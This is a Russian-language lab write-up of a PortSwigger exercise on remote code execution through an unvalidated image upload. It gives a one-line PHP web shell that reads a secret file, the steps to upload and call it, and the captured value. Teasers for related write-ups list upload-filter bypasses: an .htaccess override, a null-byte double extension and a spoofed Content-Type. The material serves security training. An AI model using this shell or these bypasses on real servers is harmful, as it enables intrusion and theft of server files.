На странице
apsyleg1 мин
#portswigger #file-upload #rce #web-security
Remote Code Execution через загрузку web shell
Лаборатория
Remote code execution via web shell upload · Apprentice
Решение
Дано
This lab contains a vulnerable image upload function. It doesn't perform any
validation on the files users upload before storing them on the server's filesystem.
To solve the lab, upload a basic PHP web shell and use it to exfiltrate the
contents of the file /home/carlos/secret. Submit this secret using the button
provided in the lab banner.
You can log in to your own account using the following credentials: wiener:peter
Анализ и разведка
Тут всё просто, заливаем шелл, вызываем его в браузере.
<?php echo file_get_contents('/home/carlos/secret'); ?>
Логинимся, заливаем шелл.
Открываем в браузере /files/avatars/shell.php.
1bfoduHLVPomAxIanAVE6dzD1ulBhDVk
Лаба решена!
Ещё в этой категории
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Web Shell Upload через обход проверки Content-Type (PortSwigger Lab)
Сервер проверяет только заголовок Content-Type — меняем его на image/jpeg и проходим с PHP-шеллом.